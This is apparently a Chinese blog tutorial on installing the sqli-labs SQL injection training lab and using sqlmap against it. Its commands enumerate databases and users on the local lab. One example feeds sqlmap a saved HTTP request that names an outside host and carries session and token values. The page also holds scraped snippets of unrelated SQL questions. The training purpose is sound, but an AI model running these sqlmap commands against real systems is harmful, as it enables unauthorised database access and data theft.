SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)

2023-10-27

SQL注入:

sqli-labs:

一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境

phpstudy:

https://www.xp.cn/

安装后发现数据库和我本机的数据库出现冲突了,只能使用

sc delete mysql

删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入

mysqld --install

删除之后成功启动

image-20220428170614456

启动成功后,去下载sqli-labs:

 https://github.com/Audi-1/sqli-labs

下载后的包导入到php的根目录WWW下,然后将D:\softwares\phpstudy_pro\WWW\sqli\sql-connections目录下的db-creds.inc文件里面的用户名和密码都设置为root

image-20220428171148955

启动成功后访问

http://127.0.0.1/sqli/

然后点击reset Database for labs重置数据库

image-20220428171242818

如果重置数据库出现mysql_connect(): The mysql extension is deprecated and will be removed in the future

进入phpstudy,选择php5.5.9版本即可

image-20220428171439116

sqlmap:

安装sqlmap:不要后面的算法

由于手动注入、半自动化注入效率较低,对于一些常规的、重复性的可以交由神奇sqlmap来完成

sqlmap需要python2的环境,因此,在安装一个python2环境,因为我本机已经有python3环境了,所以安装python2需要注意一点:

先下载Python2:www.python.org

下载后安装就OK了,然后配置环境变量:把安装目录加上去

image-20220428171922576

然后重命名python.exe改为python2.exe

image-20220428172007823

打开cmd输入:Python2

image-20220428172101709

表示成功

sqlmap注入sqli-lab测试:

在sqlmap目录输入:

python2 .\sqlmap.py,

出现如下信息表示启动成功,可以使用

image-20220428172246369

打开sqli-lab 第一章:http://127.0.0.1/sqli/Less-1/

image-20220428172338631

需要传id可以查到数据库的内容;

image-20220428172415936

输入地址http://127.0.0.1/sqli/Less-1/?id=4

image-20220428172457790

可以发现对应数据库数据一致,接下来我们对数据库进行SQL注入测试:

sqlmap命令行输入

python2 sqlmap.py -u "http://127.0.0.1:8080/thymeleaf/listCategory?start=2"

image-20220428172958498

出现:已经检测到是mysql数据库,是否跳过检测其他类型数据库,输入y

image-20220428173119343

出现:GET 参数 ‘id’ 易受攻击,我们选择Y,sqlmap就已经判断该链接的数据库以及其他服务版本是具有SQL注入威胁存在的

常用的命令:

image-20220428193622546

例如:输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --dbs直接列出了我的所有数据库

image-20220428193839191

例如输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --current-user直接列出了当前的用户

image-20220428194411911

也可以通过文件进行注入

文件为payload.txt内容为接口信息

POST /biz/modularity/project114/manyParamsSqlszsfdsfwe HTTP/1.1
Host: http://daily.manateeai.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://daily.manateeai.com
Content-Type: application/json
Origin: http://daily.manateeai.com
Connection: keep-alive
session:dd9cee1fdec64bfba5843c6f1093ae3a
token:a6884edadb24c247c3c632b521f91f77

{
  "name": "张三",
  "pageNum": 2,
  "pageSize": 2
}

输入命令

python2 sqlmap.py -r payload.txt --batch --dbs 直接列出了当前的数据库信息列表

风险等级评测:

探测等级(执行测试的等级(1-5,默认为1) )
参数: --level
共有五个等级,默认为1 ,lv2:cookie; lv3:user-agent,refere; lv5:host 我常使用–level 3

风险等级(执行测试的风险(0-3,默认为1) )
参数: -risk
共有四个风险等级,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1

例如:输入:

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --level=5 --risk=3

image-20220429113021283

注意点!!!:

每次注入完需要把C盘有个目录下的缓存文件夹删掉,如果不请掉的话,会拿以前的注入点去注最新的接口,有可能会造成sql注入结果无效

image-20221008103039124

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具) 的相关文章

  • 需要 SQL 查询澄清[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我有一个由以下列组成的表 billid patientid doctorid fees 如何显示治疗多名患者的医生 尝试了以下代码并得到了
  • NVARCHAR 变量在Where 子句中不起作用

    在 SQL Server 我想是 2018 我不知道如何判断 中 我的变量不起作用WHERE的条款NVARCHAR 比较应该返回值 但它什么也没返回 如果我只是手动输入声明的文本 它会突然起作用并返回值 没有任何逻辑原因应该有任何不同 类型
  • 3 个表的 SQL 查询(或联接)

    第一次在 Stack Overflow 上问问题 很棒的资源 但是只有一件事真正让我作为 SQL 新手感到困惑 我有三个表 我想获取与鲍勃的学生相关的所有导师的姓名 表 1 教师 ID Name 1 Bob 表 2 学生 STUDENT I
  • 获取在任何日期创建的表的列表?

    我遇到了这样的情况 我想查找我在 2012 年 9 月 14 日 2012 年 9 月 14 日 在 sql server 上创建的表 是否有任何查询会列出在此日期创建的这些表 SELECT FROM sys tables WHERE cr
  • IIF(...) 不是公认的内置函数

    我正在尝试在 Microsoft SQL Server 2008 R2 中使用它 SET SomeVar SomeOtherVar IIF SomeBool value when true value when false 但我收到一个错误
  • 插入记录后如何从SQL Server获取Identity值

    我在数据库中添加一条记录identity价值 我想在插入后获取身份值 我不想通过存储过程来做到这一点 这是我的代码 SQLString INSERT INTO myTable SQLString Cal1 Cal2 Cal3 Cal4 SQ
  • SQL 标准是否允许函数名和括号之间有空格

    检查一些 RDBMS 我发现类似的事情 SELECT COUNT a SUM b FROM TABLE 允许 注意聚合函数和括号之间的空格 谁能提供一个指向 SQL 标准本身定义的指针 任何版本都可以 编辑 以上在postgres中工作 m
  • ORA-12728: 正则表达式中的范围无效

    我想检查表中是否插入了有效的电话号码 所以我的触发代码在这里 select start index into mob index from gmarg mobile operators where START INDEX substr ne
  • postgresql 不同的不工作

    我使用以下代码从数据库获取值 但是当我编写这段代码时 测试看看问题出在哪里 我注意到查询没有从数据库中获取不同的值 这是查询 select distinct ca id as id acc name as accName pIsu name
  • 处理与不同相关实体的一对多的正确模式

    我有一个 C 项目 我使用实体框架作为 ORM 我有一个User 可以向多家银行付款 每家银行都是一个独立的实体 并且每家银行都由不同的字段描述 问题是 一User可以没有或有很多不同的Banks 我不太确定如何对此进行建模 临时解决方案是
  • SQL:如何从一个表中获取另一个表中每一行的随机行数

    我有两个数据不相关的表 对于表 A 中的每一行 我想要例如表 B 中的 3 个随机行 使用光标这相当容易 但速度非常慢 那么我该如何用单个语句来表达这一点以避免 RBAR 呢 要获得 0 到 N 1 之间的随机数 可以使用 abs chec
  • 无法与重定向器建立连接。确保“sql browser”服务正在运行

    所以我尝试这个 sql server 2012 由于这个错误我无法打开任何 ssis 包 无法与重定向器建立连接 确保 sql browser 服务正在运行 我的 Sql 浏览器肯定正在运行 我尝试在本地服务 本地系统和网络下更改它 仍然没
  • 是否可以从子查询中获取多个值?

    有没有办法让子查询在oracle db中返回多列 我知道这个特定的sql会导致错误 但它很好地总结了我想要的 select a x select b y b z from b where b v a v from a 我想要这样的结果 a
  • SQL查询json字典数据

    我的表中的 CLOB 字段包含 JSON 如下所示 a value1 b value2 c value3 我正在尝试编写一个 SQL 查询来返回一个包含键和值字段的表 如下所示 key value a value1 b value2 c v
  • SKIP加锁和nowait的区别

    pl sql 中 SKIP 锁定游标和 nowait 游标之间的区别 我认为我找到的这张图片是描述差异的最佳例子 详细说明 http viralpatel net blogs oracle skip locked
  • 重用 t-sql 游标的起始位置?

    我正在开发一个在临时表上使用游标的存储过程 我已经阅读了一些关于为什么不需要游标的内容 但在这种情况下我相信我仍然需要使用游标 在我的过程中 我需要遍历表的行两次 声明游标后 已经单步执行临时表并关闭游标 重新打开时游标的位置是否仍保留在表
  • SQL Server:如果存在会大大减慢查询速度

    正在使用SQL Server 2012 我找到了一些关于查询优化的主题 并将 EXISTS 与 COUNT 进行比较 但我找不到这个确切的问题 我有一个看起来像这样的查询 select from tblAccount as acc join
  • CONTAINS 不适用于 Oracle Text

    我在执行此查询时遇到问题 SELECT FROM gob attachment WHERE CONTAINS gob a document java gt 0 它给了我 ORA 29902 error in executing ODCIIn
  • 为什么 ISNUMERIC('.') 返回 1?

    最近我在 SQL Server 中使用 ISNUMERIC 时遇到了一个问题 导致找到了这段代码 SELECT ISNUMERIC 这会返回 1 如 true 所示 难道不应该像 false 一样返回 0 吗 See Numeric 损坏了
  • 替换字符串中的多个字符,而不使用任何嵌套替换函数

    我的表中存储了一个方程 我一次获取一个方程 并希望将所有运算符替换为任何其他字符 输入字符串 N 100 6858 6858 N 100 0 2 N 35 运算符或模式 替换字符 输出字符串 N 100 6858 6858 N 100 0

随机推荐

  • java对数据库中Date类型的处理

    java对数据库中Date类型的处理 想必在日常的敲代码生活总 用java操作数据库中的Date类型是不同于其他的 因为Date在导包的时候就分为 import java sql Date import java util Date 这两种
  • nginx 配置 ssl

    1 1 Nginx如果未开启SSL模块 配置Https时提示错误 原因也很简单 nginx缺少http ssl module模块 编译安装的时候带上 with http ssl module配置就行了 但是现在的情况是我的nginx已经安装
  • Seq2Seq 模型知识总结

    Seq2Seq 模型知识总结 目录 Seq2Seq 模型知识总结 1 模型的提出 2 RNN 结构及使用 2 1 N vs N 2 2 1 vs N 2 3 N vs 1 3 Seq2Seq 模型 3 1 Seq2Seq 结构 3 2 编码
  • 你应该掌握的七种回归技术

    摘要 本文解释了回归分析及其优势 重点总结了应该掌握的线性回归 逻辑回归 多项式回归 逐步回归 岭回归 套索回归 ElasticNet回归等七种最常用的回归技术及其关键要素 最后介绍了选择正确的回归模型的关键因素 编者按 回归分析是建模和分
  • Java大数字运算(BigInteger类和BigDecimal类)

    Java中的超大数BIgInteger和BigDecimal 在我们处理大位数运算的时候 我们经常用的int和long类型的数已经不能够满足我们的运算了 那么这个时候就需要用到一个超大数来运算 这个时候我们会用到java math BigI
  • javaweb项目中完成数据的增删改查操作((maven,mybaits,tomcat,servlet,jsp包含 MVC模式 和 三层架构 ))

    目录 需求 完成品牌数据的增删改查操作 1 环境准备 1 1 创建工程模块 引入坐标 1 2创建三层架构的包结构 1 3创建数据库表 tb brand 1 4 创建实体类Brand 1 5 准备mybatis环境 2 查询所有 2 1编写B
  • JS将数组相同的元素进行分类

    js实现将数组中相同元素进行分类 思路是先将数组去重 这里采用对象的方式进行去重 然后将相同的元素重新放入一个数组内 实例如下
  • struts1 logic:iterate bean:write标签使用

    只是截取项目中部分代码 供参考及日后查阅 用struts1标签html select 展现select下拉列表 刚开始为如下代码 html view plain copy
  • 搭建RP-pppoe服务器

    1 安装rp pppoe 测试环境 PPPoe Server Ubuntu 20 04 PPPoe Client Windows 11 首先 我们先安装PPPoe服务器 我们需要下载rp pppoe的源码 然后自行编译安装 在安装之前需要安
  • OS银行家算法-Java

    OS作业 记录防丢 package Bank public class Banker public static void main String args OS os new OS 3 3 2 MyThread p0 new MyThre
  • 合宙AIR001开发板开箱测试

    简介 2023年7月合宙上架了一款新的MCU 支持Arduino Keil 主频高 资源大 接口全 合宙Air001 它是一款TSSOP20封装国产MCU 高集成化通讯外设 开发简单使用便捷 具备超高性价比 1 采用ARM 32位的M0 内
  • 效率利器之事件委托

    前言 公司产品部推出了一款新产品 经理指派小A负责推广工作 小A通过多方打听了解到推广流程 需要使用公司证件在几个平台注册账号 并经过多轮审批 小A经历了一番操作后感到身心俱疲 最终成功将产品发布到公众平台上 与此同时 公司的竞争部门也计划
  • 开题报告中拟解决的主要问题怎么写?

    在研究生求学阶段 学位论文质量的高低是衡量研究生培养质量的重要标志 而论文质量的高低 很大程度上取决于论文开题报告的内容的细致程度 从论文的选题 到研究内容与措施的探讨及最后开题报告的撰写 三者环环相扣 缺一不可 那么我们如何才能写好开题论
  • 决策树实战鸢尾花

    encoding utf 8 只要是机器学习中 代码的编写流程一般和下面这个一样 Create on 19 3 2 import warnings import sys import numpy as np import pandas as
  • 编程实现从键盘上反复输入10个整数,判断其是正数还是负数,如果是正数则累加求和。最后输出累加和值

    include
  • unity行为树

    本文转载自 http blog csdn net yupu56 article details 50151527 浅谈游戏AI 谈到游戏AI 很明显智能体拥有的知识条目越多 便显得更智能 但维护庞大数量的知识条目是个噩梦 使用有限状态机 F
  • 向量的夹角余弦公式_两个向量的夹角的余弦值怎么求过程!! – 手机爱问

    2006 04 02 急急急急 求向量2a 3b与向量3a b的夹角的余弦值 只要把两个 2a 3b 和 3a b 相乘 再除以它们模的积就OK了 具体如下 cos 2a 3b 3a b 3a b 2a 3b 因为 2a 3b 3a b 3
  • copy_to_user和copy_from_user两个函数的分析

    copy to user和copy from user两个函数的分析 转 在内核的学习中会遇到很多挺有意思的函数 而且能沿着一个函数扯出来很多个相关的函数 copy to user和copy from user就是在进行驱动相关程序设计的时
  • 19.集运架构之搭建Nginx服务器

    文章目录 0 需要使用的主机 1 web服务器 1 1简介 1 2架构 1 3主流服务器 1 4网络模型 2 部署Nginx 2 1yum安装 2 2编译安装 2 3平滑增加Nginx模块 2 4添加环境变量 3 Nginx的命令 3 1显
  • SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)

    SQL注入 sqli labs 一个实验平台 里面有完整的SQL注入课程 需要phpstudy环境 因此先安装phpstudy环境 phpstudy https www xp cn 安装后发现数据库和我本机的数据库出现冲突了 只能使用 sc